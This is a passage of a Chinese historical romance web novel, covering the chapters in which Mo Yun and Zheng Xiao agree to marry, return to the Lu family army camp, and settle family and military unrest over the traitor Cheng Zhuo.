茉云愣了一下，抬眸看向正啸，她知道他既然与自己有了牵绊，他定会想着要对自己负责，可茉云深吸一口气摇摇头，正啸眉头瞬间微微皱起看着她。
茉云撑着头，坦然地笑了，说道：“按照你家老太君的想法，我嫁给你，肯定得随她回京城，可我不想离开你太远，就算呆在南境也离得近点。”
正啸闻言，紧蹙的眉头轻轻舒展开来，低头舀起一勺粥，淡淡地说道：“嗯。”
茉云看着他低头吃粥的样子，忍不住在心里笑了，这卢正啸也太好哄了吧！她也低头尝了一口自己煮的粥，下一刻，她整个人都僵住了她怔怔地看着碗里那不知是粥还是糊状的东西，味道怪异得让她差点当场吐出来。
她缓缓抬头，一脸不可思议地看向正啸，郑重地问道：“你确定你尝了这碗东西，你还想娶我吗？要是我是你，打死我都不会同意！这手艺……还不如吃毒药！”
正啸终于被茉云逗笑了，眼底却带着一丝宠溺。他起身去了厨房，茉云一脸痛苦的把碗推开似乎看都不想看一眼，然后起身将两人的外衣都拿出去晾晒，让阳光彻底驱散衣物上的潮气。
不一会儿，正啸端着一碗冒着热气的清汤面出来，茉云眼睛瞬间一亮，立刻坐下来，开心的吃了起来。
她满足地眯起眼睛，感受着热汤滑过喉咙的温暖，而正啸坐下，抬手把她煮的那碗“糊糊”都倒在了自己的碗里，默默地吃了起来。
这一瞬间，茉云的心头莫名地涌起一股温暖，看着正啸一口一口地吃着自己煮的粥，忽然觉得眼前的他少了几分战场上的冷冽与威严，多了一丝让人想要靠近的温柔，居然也让自己很喜欢。
吃完后，茉云将碗收拾了端进厨房，等她出来时，便见正啸又坐回了石阶上，目光悠远地望向山川，整个人静默而沉稳，像是陷入了深思。阳光照耀在他的侧脸，勾勒出他刚毅的轮廓，容颜在光影交错间显得分外俊朗。
她没有去打扰他，而是站在一旁靠着树静静地望向他和这层峦叠嶂的山峰，跟他一起感受这山河壮丽的开阔和自由，她知道他自幼定是以此来平复他内心的浮躁与煎熬。
良久之后，茉云看见他一直未动，慢慢太阳也在日落西山了，茉云才走过去坐到正啸身旁，侧头望着他的侧脸，说道：“其实这一切也属正常，那么难接受吗？”
正啸没有回答，只是伸手将茉云轻轻揽入怀中，下巴抵在她的发顶，发现她身躯微凉，便伸手扯过晾晒的外衣，将她包裹在自己怀里。山间的微风吹拂，拂过他们的发丝，拂去了寒意与伤痛。
茉云轻轻靠在正啸怀里，语气淡然却透着宽慰：“老太君亦不容易，她也不是为了她自己，都是为了你爷爷和卢家后人。”
正啸轻轻叹了一口气，沉沉地说道：“嗯，爷爷也不会怪她。我爷爷常训我爹和叔叔说，我奶奶做什么都是情有可原，他们能接受便接受，不能接受就忍着。”
茉云愣了半刻，抬头看向正啸，心中忽然有些感慨。他的爷爷奶奶，便是世人所说的灵魂伴侣吧？如此恩爱，相互理解，彼此扶持，这 份信任与默契，已然超越了世间男女所有普通的情感。所以哪怕老卢帅走后这么多年，老太君仍愿意为了卢家和卢家军如此殚精竭虑一切……
茉云看着正啸，轻轻地问道：“那你难道还为程卓感到遗憾？”
正啸的目光沉静地望向远方的山峰，坦然而平静地说道：“幼时，我爷爷跟我传授治军之道，曾说世上没那么多真正的恶人，亦没那么多真正的善人。人的善恶本在一念之间，若可以劝恶向善，那便也是善莫大焉。可叹若我爷爷走得太早，不然也许程叔不会走上这条绝路。”
茉云听完深吸一口气道，其实老太君是知道程卓之恶为了护住卢家军选择放弃了他，而若是老卢帅在，他是否不会这么轻易放弃程卓……
茉云亦不想正啸沉浸在过往的沉重回忆里，故意岔开话题，她扬起眉梢，笑着说道：“那当日在中州，你没把我赶出公门，亦是听了你爷爷的话，劝恶向善？”
正啸低头看向怀里的茉云嘴角上扬，忍不住微微被她逗笑了。
茉云见他忽然笑了，不解地问道：“笑什么？”
“应该也不完全属于劝恶向善。多少……有点见色忘义吧。我之前还老反省，现在想来，也无所谓。大家都不是那么完美，我爷爷不也纵容我奶奶胡搅蛮缠，胡作非为？”正啸则想着，眼神带着几分自嘲又有些释然地说。
茉云听到这话，顿时笑得前俯后仰，正啸亦被逗笑了，任由茉云靠在自己怀里笑得停不下来，夕阳西下，两人就这么看着，任由时光静静
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流淌，谁也不觉得无聊。
夜幕渐渐降临，周围的黑暗如同一片柔软的帷幕，悄然包裹着这片安静的山林。窗外的山风轻轻吹拂，带着几分寒意。
进入了屋内，为了不引起不必要的注意，他们没有点亮任何灯火，两人并肩坐在小桌旁，蹭着月光，低头吃着热腾腾的面条。茉云靠得离正啸更近些，感受到他身上散发出来的温暖。
茉云随意地开口问道：“你怎么带我来了这里？此处是哪儿？”
“此处应该已快到南边沅国之地，我曾经行军时路过此处，看到这座山间的小屋，觉得十分安静宜人，昨日又正好飘到了这里，我便爬上了山，发现屋主正好不在。”
茉云听了不由得又笑出声，眼神里带着几分调侃：“所以你大半夜将我背上这半山？”
正啸则一脸坦然地点了点头，茉云无语的乐了，此时，屋外的山风夹带着一丝凉意吹进了屋内，茉云不禁微微蜷缩了身体。
正当她觉得寒意渐浓之时，正啸也感知了她的畏寒一把将她抱起……“诶”茉云还未反应过来，已被他不容分说地紧紧拥入怀中。
正啸抬手将自己的披风也盖在茉云身上，低头望向她，说道：“明日一早，随我回营吧。”
茉云愣了一下看着他，心中微微一动，似乎有些不舍：“不让老太君和你爹多着急几日？大军这一两日也不至于军心涣散到散了吧。”
正啸轻轻吸了一口气，担忧的说道：“依妮还在营中。”
茉云听到这话愣了半刻，眼神又柔和了几分，她亦是爹娘的女儿，当年爹出公差最挂念的也是自己。她旋即点点头，靠在正啸怀里，不知为何听他这么说，自己心中也感到温暖。
正啸低下头，眼神却渐渐透出了怅然，茉云能感受到他心中深处的无奈，他本来就因驻守边关无暇兼顾，欠女儿良多，而如今依妮更是处于极为艰难的境地……
茉云轻轻地宽慰道：“你不用担心，你看我幼时，就是去街对面邻居家骗点零嘴吃，我爹都担心我，可如今我不挺好？”
正啸顷刻又微微笑了望向茉云，说道：“你确定你爹是担心你？”
“行啊，你还学会逗乐了。”茉云亦笑了说道。
正啸望向茉云的眼中多了些许温柔，自从认识她之后，自己是变了很多，他的生命中也从此不再只有金戈铁马和朝中争斗。
茉云抬目望向正啸的眼睛，忽然问道：“卢正啸，你为什么想娶我？”
两人四目相接，茉云的脑海中不自觉浮现出青岚曾说过的话——那些自视甚高的男人，往往看似疯狂的追求，也许是因为你的桀骜和凌冽点燃了他们征服的欲望，并非情意……
正啸眼底透出坦然与真诚的说道：“我以前一直觉得自己这辈子，只要完成了卢家的使命就足矣。但现在，我想能在平定南境后，和你有个家。”
茉云愣了半刻，眼前的他一句如此寻常的话语，竟然能让自己的心如此悸动，有个家……
她微微笑了抬头直视着正啸的双眸说道：“卢正啸，待南境平定之后，咱两就成婚。”
正啸不禁愣了半刻，这么茉云第一次答应。
茉云满心雀跃的笑着继续说道：“我再将你骗出京城。到时候，我陪你走遍山川湖泊，你陪我吃遍东南西北，如何？”
“好。”正啸望向茉云说出一个如此简单的字，眼中却充满了无尽的柔情。
两人眼中情意如星光交汇，正啸俯身轻轻吻住茉云的唇。手指在她的发间轻柔地滑过，这一刻极致的温柔，好似周遭的一切都静止，只剩下彼此的呼吸和心跳。
长夜漫漫，清风无言，深情的流淌如此纯粹而自然，如潮水般涌动，又如月光般皎洁。
304.重筑
翌日清晨，天刚刚破晓，金色的阳光透过薄雾，微微照亮了山间的路。两人准备启程，正啸在屋内留下了银两，两人都再看了一眼这小屋，便不再迟疑走了出来。
正啸飞身上马，而茉云还迷迷糊糊地伸着懒腰准备上马。正啸俯身轻而易举地将她拦腰抱起，让她坐在自己身前。茉云正好眼皮沉重，昨夜未睡够，旋即靠到他的怀里沉沉睡了过去。
正啸低头看着她微微俯身，深深亲吻了她的额头。看着她安静的模样，心中一片柔软，昨夜的温存还在身边荡漾。他轻轻地将她扶得更稳，朝着山下走去。
下山后，他们马不停蹄地往营地赶去，直到黄昏之时，才终于远远地看到军营的轮廓。
茉云飞快就从正啸怀里，跃上了自己的马。她高高束起发，恢复了往日那一脸刚烈的神情，好似一瞬间她又化身成天地间最凌冽的存在。
正啸侧目望向她，茉云察觉到他的视线，转过头来说道：“怎么？你奶奶当年见你们和见爷爷一样吗？不这般凶恶，唬得住他们？”
正啸嘴角微微上扬被逗笑了，轻轻叹了一口气，眼中却依然透出温柔和宠溺。
两人继续飞驰而去，马蹄声如雷，引起了军营瞭望台的注意，润吉远远看见他们的马奔腾而来，差点激动地从瞭望台上掉下来。
他急忙大喊：“少帅和方将军回营了，快开营门！”
营们的士兵们纷纷动了起来，大开营门准备迎接他们的归来。沧海和威行等诸将率先冲了出来，看见正啸和茉云安然无恙地骑马回到营中，所有人都松了一口气。
正啸抬目望去，军营的气氛压抑而紧张，几乎每个人的脸上都写满了焦虑与不安。四周的士兵步伐匆忙，眼神不像往常那样坚定，而是带着一丝疑虑和迷茫。即便是平日里冷静从容的将军们，此刻神情中亦透出沉甸甸的压力。
两人飞身下马，众将立刻行礼道：“少帅。”
正啸一脸冷峻地点了点头，继续大步向主营走去。茉云忍着脚伤，紧跟其后，正啸似乎亦察觉到她腿伤，脚步才不自觉地放缓了些。
此时，元帅亦从营帐中快步走了出来，看到他们安然无恙地回来，脸上的担忧之色才消散了几许，但看到正啸，他又忍不住一脸忿然转身回了营帐。
萧怀逸和若辰也疾步走了出来，茉云看向若辰一脸轻松而嘚瑟的笑意，若辰瞬间被逗笑了，温润之中又透出一丝无语，长长松了一口气。
正啸和茉云两人走入主营，卢老太君坐在那里，脸色冷峻紧握着手中的拐杖，双眼狠狠地瞪了他们一眼。依妮则在一旁，眼眶通红，默默地擦去脸颊上的泪水。站在一旁的震北、执礼和东山等人，脸上皆是复杂的表情。
茉云微微抬眉望向众人，显然他们的争执并未结束，亦没有吵出个所以然，这场风波……果然让所有人都觉之心力交瘁。
元帅忽然抬头用布满血丝的双眼瞪向正啸，口气仍然带着无法宣泄的情绪，怒斥道：“不孝子，人没抓到你为何回，你娘当真是白生了你，滚出我营帐去。”
正啸顿时双眉微蹙，深吸了一口气转身就准备离去。一时间，空气更加凝重，营帐内众人屏住了呼吸，老太君则抬头忿然瞪向元帅，即将又要发作了！
茉云却忽然挡住了正啸的去路问道：“你去哪？又去送死？杀母之仇是不共戴天，但老话说得好，不孝有三，无后为大！少帅，您有后吗？孝顺不孝顺这事，平素也没见您多在意啊。不如咱还是先把仗打了再说吧。而且，杀妻之仇也不共戴天啊，谁一番深情，谁咬牙切齿要报仇，谁去嘛，不需要您瞎积极！”
正啸微微抬头无语地看向茉云，老太君听了却嘴角忽然微微上扬。这番不着边际的话，却让整个营帐的气氛缓和了些许，元帅咬着牙，怒气好似也被缓缓压下。
茉云则看向依妮，见她眼中泪光闪烁，眼睛红肿，忍不住问道：“卢依妮，你这又是怎么回事？”
依妮声音哽咽，完全无法掩盖内心之委屈控诉道：“太奶奶说要将我娘的灵位清出祠堂，要把我从族谱除去。将我如何都可以，但我娘当年对我爹一片痴情，而且她根本不知半分程家之事，为何要让我娘成孤魂野鬼？”
正啸顿时双眉紧皱，望向依妮斩钉截铁地说道：“我绝不会将你娘清出祠堂，你也永远都会是我女儿。”
卢老太君顿时愤然重重将手杖戳到地面，忿然而冷漠地说道：“这卢家还没轮到你说的算的时候。”
就当正啸忍无可忍要据理力争之时，茉云一把拦住了他，接过老太君的话：“卢家当然是老太君说的算，但没事，卢依妮，你好好活着，总有一天，谁将你娘清出祠堂，你就去将她也清出祠堂。人日后能不能和你爷爷葬在一起，不也是你和你爹说得算吗？”
众人皆愣在原地，卢老太君的脸色瞬间变得更加愤怒，怒吼道：“方茉云，你嫌害我卢家还不够吗？卢正啸，你看看，这军营的军心都被你俩祸害成什么样了！还打什么仗！”
茉云则毫不示弱地反问道：“老太君，我只听说老鼠的儿子会打洞，没听说过元帅的老婆会打战。您也就打过嘴仗吧，怎得在军中这般指手画脚，颐气指使呢？”
卢老太君顿时愤怒得几乎咬牙切齿，连元帅的神情都愣了半刻看向茉云，正啸只能一脸无奈的站在原地，一言未发。而执礼和东山相视一眼，不禁低下头忍俊不禁，卢老太君已中气十足地骂了一日了，结果被茉云三句话就气得冒烟。
这个时候营外传来了若辰的声音，他亲自端着晚膳温和的说道：“老太君，晚膳已做好，可否容我端来，让您和元帅一道用膳？”
众人都不禁抬目望去，若辰来得正是时候，显然他就是来缓和的。
卢太君这才深深吸了口气，冷冷说道：“那就传进来吧！”
若辰和萧怀逸都是一脸温润的笑意走入营帐，亲自端着晚膳置于桌上，茉云压根不在意卢老太君的怒意，开心的看向一桌酒菜。元帅则深吸一口气默默转身走进了内营，显然无意用膳。
东山看着元帅的背影，担忧的转头看向正啸，小声说道：“少帅，您离营后，元帅已经两宿未睡，也没怎么用膳，若再这样下去，怕是支撑不住。”
“是啊，正啸，你去劝劝元帅！”震北也忧虑的望向正啸说道。
正啸皱了皱眉看向父帅的背影，他知道自己去劝，父帅只会更加恼火。
老太君则一脸刚烈的起身走向桌旁，没好气地骂道：“就让他去饿死吧！”
营帐内的人都不敢啃声，只能眼神都不约而同地望向茉云，茉云拿起果子咬着差点被噎住，气愤地小声说道：“让我去啊？这种状况，你们早点说嘛，我刚才还让元帅去跟
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人同归于尽！”
若辰他们顷刻却忍不住笑了，气氛瞬间又变得轻松了几分。
正啸则望向茉云，语气温和却带着一丝命令的意味：“去劝劝我爹，好好说！”
茉云白了一眼没好气的转身，掀开门帘的瞬间，她立刻变成一脸灿然的笑意说道：“元帅。”
元帅没有回应，依旧沉默不言，一脸种凝重的坐在那里。
茉云看着他，轻轻叹了口气，说道：“元帅，那晚在黑风谷果然有埋伏，我当时还以为和您儿子肯定在劫难逃，突然好像冥冥之中听到一个声音，让我们往河边跑。”
元帅的目光终于微微抬起，落在了茉云身上，他没有说话，但眼中透出了关切。
“细想起来，在那个生死关头，在黑风渡，谁又能指引我们呢？”茉云的声音平静，但每个字都像是能穿透了一切直击心灵。
元帅顿时握紧了拳头，眼中有一瞬的闪烁，正啸的娘就是在那条河流经的崖边殉国的……
“元帅，若故人英灵都还在，我们是不是该打起精神，奋起一搏，让老卢帅、柳将军、黄将军、崔将军，还有卢家军所有英灵，都能看见有一天，您和您儿子终于带领卢家军为南境带来了太平。”
“是！”元帅顿时深吸了一口气，眼眶中已渐渐盈满了泪水，却无比坚定地回答道。
“好，那咱去吃饭吧。先要保重身体，才能上阵打仗，收拾敌人！”茉云望向元帅，眼中闪过一丝温暖的笑意，“再说啦，您别生气了，若是我遇程卓，我一定下手比你们狠，而且事后绝不会有半点迟疑和懊悔，但你们卢家好艰难啊，过自己这一关都不容易。”
元帅愣了半刻，长长叹了口气说道：“我只恨自己不济，有负父帅之托！才害得我娘如此艰难，哎……”
老太君在外营听了，眼眶也不禁红润，好似万种难言的情绪涌上心头，她将拐杖握得紧紧的，倔强的闭上双眼，好似不肯让泪水落下……
“元帅，您千万别妄自菲薄！”茉云微微一笑，轻轻的说道，“幼时我爹老跟我说，要做个好人，因为物以类聚人以群分，肯定就是因为您特别好，才会拥有这世上最好的爹娘，最好的妻子，最优秀的儿子。”
元帅目光望向茉云，神情透出了一丝茫然而复杂。
“是的，元帅，你们卢家挺好的，让我如此灰暗的灵魂，都感受到了光芒万丈！”茉云望向元帅坦诚而温和的笑了。
元帅的眼神亦缓缓恢复了温和，望向茉云笑了点点头。
茉云眼珠一转，脸上又透出了俏皮而嬉笑的神情说道：“天啊，元帅，我方茉云竟然能说出如此谄媚之言，等下我陪您多喝几杯，我得压压惊！”
元帅亦顷刻被逗笑了，擦着眼角的泪水起身说道：“好！”
茉云走出来，众人都看着她，而她眼里却只有一桌丰盛的菜肴，顿时喜笑颜开地跑向餐桌，眼中满是期待。
若辰亦温润的笑了，看向身边的萧怀逸，眼神好似在说，我说了她都搞得定，怀逸则没好气躲开眼神，没再说什么。
若辰又轻轻笑了，这几日萧怀逸一直忿然不平地说，茉云在哪儿都是块毒，就连卢家如此钢墙铁壁，都能被她弄得分崩离析，但是茉云就是有此番能耐，她能为他将一切撕碎，去除糟粕，又能再将一切重筑，用最坚固的城墙围绕他。
305.军心
营帐内的紧张与激烈渐渐消散，气氛亦变得轻松些许。
卢老太君迅速擦干了眼角的泪水，恢复了她一贯的刚毅与威仪，在桌旁坐了下来，抬手示意众人就坐，一家人终于又围坐在了一起。
茉云则一副好似什么都没有发生过模样，大快朵颐。毕竟一路赶路，午膳都没有吃，她实在也是饥肠辘辘。
老太君虽是一副怒意未消且嫌弃的模样，但也未在言语，快用完膳之时，她才长吸一口气望向正啸说道：“你两接下来准备如何收这个场啊？”
正啸抬头望向卢老太君，一脸笃定地说道：“军中之事，您放心。”
卢老太君则双眉微蹙，话语中带着几分深意，说道：“除了军中事，还有呢？”
“程卓我去抓回来！”茉云瞬间领会了老太君的意思，笑着说道。
众人都不由得看向茉云，卢帅亦抬眉望向茉云，想要阻止的说道：“你如何弄回来？”
“你不随她，她闯的祸！”卢老太君没好气地瞪向卢帅，卢帅无语的也不再说什么，老太君则望向茉云继续说道，“自己小心，看着办！”
“好嘞！”茉云一脸嬉笑地看向老太君，眼中都是轻松。
用完晚膳后，众人走出营帐，夜幕已降临，营地周遭透着阵阵凉意。执礼走到正啸和茉云身旁，轻声说道：“少主，这两日军中已有些动荡，士气低迷，程卓的事闹得沸沸扬扬，消息四处传散，将士心中不安，再者，沧海将军带队出营未找到您和茉云就回营了，有些将军颇有质疑，还是老太君平息了此事。”
正啸神色肃穆，眉头微蹙并没有立即回应，而是一边迈步走向自己营帐一边下令道：“传所有将军，半炷香之内，来我营中议事。”
“是！”
茉云则看向执礼，好似随意地问道：“是谁带头质疑沧海将军的？”
执礼深吸一口气却并未迟疑的回答道：“威行。”
“好！”茉云轻轻地笑了点点头，随着正啸往他营帐走去。
正啸回到自己的营帐，坐下时神情恢复了平日的冷峻和威严，周围的气氛顷刻变得凝重起来，诸将陆续接到命令后，纷纷赶往营帐。
沧海是第一个赶到的，他进营就马上向正啸行礼，正啸微微点头，示意他入座。沧海坐下之时还有些喘气，好像想说什么，但他看见正啸神情如此严肃的查阅着军务文书，最终欲言又止地坐在椅上。
茉云则微微一笑，看向沧海温和地说道：“沧海哥，辛苦你了。”
沧海愣了一下，顿时说道：“哪儿的话？”
“沧海哥，你出营找了我们好久吧？”
沧海点了点头，坦诚地说道：“嗯，我当时一时冲动，少帅并没有下令让我随往，我后来才清醒过来，当时应该守在营中的，其实今日我……是想先跟少帅请罪来着。”
“沧海哥，我如此相信你实力，你居然这般小瞧我，我连卢正啸都弄不回来吗？”茉云带着轻松和调侃口气笑着说道。
沧海顷刻也被逗笑了点点头，笑容中带着几分释然：“是我错了。”
正啸微微抬目无语地望了一眼茉云，眼神透出一分温和，但当他目光回到军务文书时，又恢复了往常的冷峻。
执礼看着轻轻笑了，心中不禁想到卢老太君曾说的话，终有一日，茉云会成长得比她更为强大，成为少主最大助力，谈笑之间，她就可以帮正啸安抚和点拨大将，以免正啸的严厉伤及其左膀右臂。
此时，其他将军陆续赶到，营帐的气氛变得愈发严肃。将军们一个个坐下，面色凝重。正啸翻看着桌上的军务记录，久久没有开口。营帐内一时寂静无声，诸将的脸上渐渐浮现出一丝忐忑，这种沉默的气氛，好似是暴风雨前的宁静……
片刻后，正啸抬起头，目光如刀锋般锐利地扫过在场的每一位将军。那一瞬间，所有人都不由自主地感到一股沉重的压力，但众人依旧目光殷切的望向正啸，他虽是少帅，但其实早已是卢家军的灵魂，不论是军中老将还是年轻的中坚力量都是仰望着他。
众人心里都清楚，今日会议议的不是行军战略，而是关系到卢家军的未来。
最终，正啸语气冷静却坚定的开口了：“此次我离营两日，各位将军在军中可有各司其职?”
话音一落，营帐内的将军们面面相觑，彼此交换了眼神。他们的神情逐渐变得更严肃，甚至有些人的呼吸微微急促。
“卢家军素来军心如铁，若军心不稳，何以言战。诸位且不说谁能助卢家军稳住军心，若能干好自己分内之事，我也倍感欣慰。”正啸拿起桌上的军务文书对地上狠狠砸去吼道，“可居然还有人在这场动荡中，质疑和非议自己的决心与信念！”
茉云微微侧目，看向正啸，她知道他所面临的压力不亚于一场大战。
正啸的声音低沉而坚定地说道：“我不知诸将如何看待程卓之事，我只知，我亲娘柳将军，我的诸位军中叔伯，也就是诸位的父亲，都是一片丹心报国的英烈，壮志未酬，却葬送在他阴谋之中。他居然能言辞凿凿，其论惶惶。若他还有理，那我卢家军的诸位英烈，老卢帅，许将军，罗将军，龚将军夫妇，鹿将军、黄将军，崔将军都错了吗？”
话语间，正啸的目光如利剑般扫过在场每一位将军，声音的每个字都带着沉重的愤怒与不容置疑的威严。顿时，众人纷纷咬紧了牙关，气氛骤然变得更加凝重，好似他们父辈英烈们英勇抗敌的怒吼声，顿时响彻在每个人的心头。
周总教头咬着牙，眼眶顿时红了，回忆起那些牺牲的老战友们：“当年威行他爹，龚将军殉国之时何等壮烈，身中数箭，为掩护大军和百姓过峡，至死不肯退半步。沧海他爹更是惨烈，遭敌军埋伏围困，为护关卡以一敌十，战至最后一刻，依旧用身躯死死挡住城关大门。”
他说到这里，情绪几乎难以自控，眼中泪光闪动，那些曾经的壮烈依旧历历在目。
“程卓这个畜生，连提你们爹的名字都不配！”周总教头忍无可忍的怒吼道。
众人坐在一旁，默默地凝视着周总教头，眼神顿时也充满了悲痛与愤慨，他们的父亲是被卢家军铭记的英烈，亦是在儿子们灵魂之中深深镌刻的痛楚。
顷刻间，沉默里愤怒
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和悲痛交织，如同潮水般涌上心头，沉甸甸的，压得每个卢家军将军后人都将牙关咬紧，拳头握得颤抖，胸口因情绪的激荡而起伏。
“峑戎踏破南境，掠夺屠戮，泯灭人性。南境的每一寸土地，每一个家庭，甚至每一个孩子，都是峑戎恶行的见证者。我自幼便听我爷爷说，他一小小峑戎，原是一茹毛饮血之部落，居然敢欺我泱泱大国，将我南境万里山河，变作人间炼狱。”正啸的语气变得更加沉痛而有力。
雄山和润吉、石川他们都眼中顷刻闪出怒火，这些军中年轻将领皆是南境之人，这些罪恶都深深印刻在每一个南境人心底，成为永远无法消散的噩梦。
一贯沉默不善言辞的润吉激动地说：“少帅说得是，南境特别是裴桥附近的城镇，谁的家中没有受过峑戎屠戮，我幼时峑戎每次来掠夺财物，众人便躲入山中，可那日我娘有孕在身行动迟缓，就将我托付给邻居，他们走在后面……”
说到此润吉顿时眼眶通红，众人看向他，他素来沉默少语，第一次听他谈及家人，但是听到此也知道那必是一场悲剧。
“当我下山之时，我看见我娘和我奶奶倒在路边，而我爹倒在离她往下不足十丈之地，都已气绝身亡，村民说我奶奶苦苦哀求他们放过我娘，她腹中孩儿都已足月，可他们笑着将他们全杀害了。”润吉顿时握紧双拳，眼含热泪但青筋都已爆出。
营帐内的每一位将军都好似能感同身受这份浓烈的情感，亦感同身受那一刀刀刺入亲人胸膛的至痛和仇恨。
“我们全家只剩我一人了，我当时想我还活着干嘛，还不如随爹娘去了？但我邻里，亦是全家只剩下他一人的黄老爹告诉我，我一定要活着，哪怕只剩下最后一口气，也要活着，日后长大投卢家军，替我爹娘奶奶，可怜的就要出生却没有看人世一眼的弟弟，还有全村人报仇，只要能剿灭峑戎那群畜生，我什么都可以干！”
营中所有将领顿时都握紧了双拳，似乎都能透过营帐看见那远方血染的山河，映照着南境万民的屈辱与怒火。
“是卢家军和南境遭受的一次次重创，铸就了卢家军的意志，也铸就了你们——卢家军的脊梁。”正啸的声音充满了力量，字字都好似从他心中涌出的巨浪，拍打出众人心中的决心和不屈，“老卢帅曾说，卢家军必还南境太平，这一信念，刻在我们卢家军血脉之中。纵世事艰难，先烈壮志未成，南境深痛犹在，但卢家军一辈人立志，两辈人沉淀，我们这一辈人，绝无彷徨！必定要肩负起剿灭峑戎的重任，誓要让还南境太平盛世！”
这番话如同战鼓的轰鸣，激荡起每一个人的斗志和信念，点燃了眼中的复仇之火，又唤起了心中对太平盛世的渴望，众志成城，再无彷徨。
而茉云坐在一旁，望着正啸，在火光映照下，他的轮廓这般刚毅，目光如此炯炯，每个字都如同千钧重锤，亦敲击在自己心头，让同是南境人的她血液沸腾，灵魂震颤。
她终于知道为何在那个瞬间，第一次对视他的双眸便会心动不已，因为只有这沉痛却铁血的壮志豪情，这凌于山河万里的无畏气度，才可让自己怦然心动……
306.拔刺
翌日清晨，初升的阳光洒向大地，晨起的寒气依然弥漫在空中，但这冬日暖阳让人凉意中又感到了了一丝抚慰。
茉云从营帐走出望向远处，正啸身披铠甲，注视着诸将带领士兵们进行训话和操练，他的背影在晨曦中显得格外高大而坚定，仿佛一座巍峨的山，屹立在众将士身后，给人一种莫名的安定。
将士们精气神十足，好似霎那间，全营将士剿灭峑戎、誓死捍卫南境的信念，在心中再一次被点亮，眼中又燃起了无畏的火焰。
而此时，元帅的传令兵来到了茉云身旁，恭敬的告知她，卢老太君传她过去。茉云旋即前往老太君的营帐前，看到老太君正拄着那根满是刮痕的老拐杖，迎着冬日寒风，满脸沧桑的望向营地外，他孙儿正带着将军们领兵操练，看见众志成城，军心凝聚，她眼中终于露出了一丝欣慰。
老太君瞧见茉云靠近，才收回目光，冷冷地挥手说道：“起得真早啊，跟我进来吧。”
茉云则带着一脸嬉皮笑脸的神情跟着老太君进入了营帐，刚落座便拿起桌上的干粮咬着。这时，元帅也来到营帐，身后跟着东山和执礼，茉云旋即站起身，准备恭敬的像元帅行礼。
元帅瞧见茉云便温和地挥手说道：“你身上有伤，快坐下歇着。”
茉云一脸笑颜的点点头，继续咬着手中的饼。
众人都落座后，卢老太君没有吭声，良久后，她才深吸了一口气带着些许感慨的说道：“我刚去看了小魏。”
茉云也才意识到，魏副帅的身影自回营后便未见。
元帅吸了口气，温和地说道：“娘，他昨夜就醒了，儿子看太晚了也没让人打扰你，白神医说了他是急怒攻心所致，只要醒了便无大碍。您不用太担心，还是保重身体为好。”
卢老太君长叹一声，目光不禁闪烁出痛苦的回忆：“我这几日在想，娘是不是有负所托，你爹会不会怪我。你爹一手培养的这些视若子侄的将军们，走的走，伤的伤，判的判……”
说到此，她的眼中亦忍不住盈满了泪水，经历了这么多背叛和白发送黑发的哀婉，老太君的眼中透出了无尽的疲惫和伤痛。
元帅见状立刻宽慰道：“娘，世事蹉跎，您做的一切都是为了我们。”
众人又陷入一阵沉默，良久，茉云淡然开口，语气温和却透着坚定：“老太君，往事已矣。老卢帅在天之灵，必定也看见了这一切的不易，定如从前一般，和您同心同德。而我们，要朝前看。”
卢老太君抬起头，擦去眼角的泪，眼中又闪烁出一丝笃定，望向茉云。
茉云眼中忽然又闪出了锋锐，接着说：“程卓，我一定跟您带回来。”
卢老太君眼神坚决点了点头，语气却意味深长的说道：“正啸重振的军心，决不可再让他动摇。”
茉云神情里含着一丝狠戾的笑意，低声应道：“好，我明白。”
此时，震北正好走进了营帐，面容凝重，朝元帅和老太君汇报道：“刚刚少帅已下令，边鸿远以军法处置。”
元帅沉默片刻，皱眉望向震北，而卢老太君则没有丝毫犹豫地说道：“好，我知道了。”
元帅神情复杂，低声说道：“先不要告诉魏副帅。”
震北旋即点点头，谁都知道边鸿远虽是程卓义子，可是在魏副帅身边历练了十几年。正当气氛凝固之际，营中突然又传来一阵喧哗声，执礼和东山迅速走了出去。
片刻后，东山眉头微蹙走进了营帐，向卢老太君和元帅禀报道：“方才威行将军想替边鸿远求情，被少帅下令仗责十军棍。”
卢老太君双眉紧皱的望向茉云，但神情中并未透出多少责难，说道：“看见没？这便是你草率行事的后果，让程卓有机会在他们心里永远埋下一根刺。”
“刺什么刺！也就是自身软才刺得进，若是一把钢刀，哪根针能扎得进？”
元帅一脸无语，叹了口气劝道：“茉云啊，跟老太君说话缓和点。”
老太君摇了摇头，语气依旧坚定，故意激道：“无碍，她要把事都给我办明白了，明里暗里骂我都行。”
茉云看了老太君一眼，旋即便转身说道：“那您歇着，我先告退了，我去劝劝他们，顺便给他们把刺都拔了！”
“嗯！”卢老太君看着茉云那忿然的背影，嘴角微微上扬，眼中却透出一丝欣慰。
此刻，在正啸的营中，气氛凝结，威行跪在正啸跟前面色苍白，眼中充满了委屈和执拗，十军棍对于一个将军来说本已是无情重罚，沧海站在一旁，皱眉准备将威行拉出营帐，却被威行奋力甩开了手。
正啸的眉头微微一挑，瞬间将目光冷冷地投向威行，眼中的寒意几乎让人感到一股冰冷的压迫。
沧海和鹿里立刻上前，强行要将威行拉走，突然，营帐门口传来了茉云的脚步声，当她步入营帐，铠甲在阳光下泛着冷冽的光泽，身姿挺拔，眉宇周透出带来一股让人无法忽视的威仪。众将瞬间停下了动作，纷纷转身注视着她。
茉云没有多言，迈步走到威行身旁，毫不犹豫地一脚将他踢飞。威行猛地倒地撞碎了旁边的桌椅，地面都好似随之震动。
所有人都愣住了，吃惊地望着茉云。威行狼狈地从地上爬起，嘴角溢出鲜血，眼中也闪过一丝难以置信。
茉云冷冷地笑着说道：“龚威行，成全你的忠义，当着你诸位兄弟面，置少帅于不仁不义？”
威行的眼中闪过一丝慌乱，低声辩解：“不是……”
可他的话语，顷刻被茉云的气场所压制，雄山和小马见状，立刻疾步上前，雄山挡在威行身前，说道：“茉云，威行你知道的，他绝无二心，只是因为军中一些非议，所以……”
可雄山还没说完，就被小马一把拦住，示意他不要再说了，小马转过头旋即认错道：“方将军，威行将军他绝对没有这样的心思，您知道的。他只是心地醇厚，才会为昔日的战友求情。但是军法无情，他知道错了。”
茉云的嘴角勾起一抹冷笑，她静静地站在军营中央，目光如刀，声音里没有丝毫温度：“心地醇厚？那就让龚将军和你战友同甘共苦如何？程卓是你带回来的吧？此人差点将卢家军一锅端了，你现在还来为他干儿子求情，不如陪他两一同受这军法处置吧。”
她的话顿时如一道惊雷震响了整个营帐，众人错愕地看向茉云，任谁都知茉云的果敢强硬，她此言绝非说说而已。威行目光慌乱亦吃惊地看向她。
茉云怒不可遏地吼道：“来人啊！”
